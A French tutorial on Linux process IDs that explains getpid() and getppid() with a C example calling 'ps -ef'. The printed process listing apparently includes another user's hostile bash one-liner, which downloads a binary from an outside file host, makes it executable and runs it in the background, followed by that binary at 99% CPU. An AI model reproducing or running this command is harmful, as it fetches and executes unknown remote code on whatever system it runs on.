Traitement de l'information

Avant d'entrer dans les informations de processus, nous devons connaître certaines choses, telles que -

Qu'est-ce qu'un processus? Un processus est un programme en cours d'exécution.

Qu'est-ce qu'un programme? Un programme est un fichier contenant les informations d'un processus et comment le créer pendant l'exécution. Lorsque vous démarrez l'exécution du programme, il est chargé dans la RAM et commence à s'exécuter.

Chaque processus est identifié par un entier positif unique appelé ID de processus ou simplement PID (numéro d'identification de processus). Le noyau limite généralement l'ID de processus à 32767, ce qui est configurable. Lorsque l'ID de processus atteint cette limite, il est réinitialisé à nouveau, après la plage de processus système. Les ID de processus inutilisés de ce compteur sont ensuite affectés aux processus nouvellement créés.

L'appel système getpid () renvoie l'ID de processus du processus appelant.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Cet appel renvoie l'ID de processus du processus appelant qui est garanti unique. Cet appel est toujours réussi et donc aucune valeur de retour pour indiquer une erreur.

Chaque processus a son ID unique appelé ID de processus, mais qui l'a créé? Comment obtenir des informations sur son créateur? Le processus créateur est appelé le processus parent. L'ID parent ou le PPID peut être obtenu via l'appel getppid ().

L'appel système getppid () renvoie le PID parent du processus appelant.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Cet appel renvoie l'ID de processus parent du processus appelant. Cet appel est toujours réussi et donc aucune valeur de retour pour indiquer une erreur.

Comprenons cela avec un exemple simple.

Voici un programme pour connaître le PID et le PPID du processus d'appel.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Lors de la compilation et de l'exécution du programme ci-dessus, ce qui suit sera la sortie.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- Le système de fonction de la bibliothèque «C» () exécute une commande shell. Les arguments passés à system () sont des commandes exécutées sur le shell. Dans le programme ci-dessus, la commande est «ps», ce qui donne l'état du processus.

Les informations complètes sur tous les processus en cours d'exécution et d'autres informations relatives au système sont accessibles à partir du système de fichiers proc disponible à l'emplacement / proc.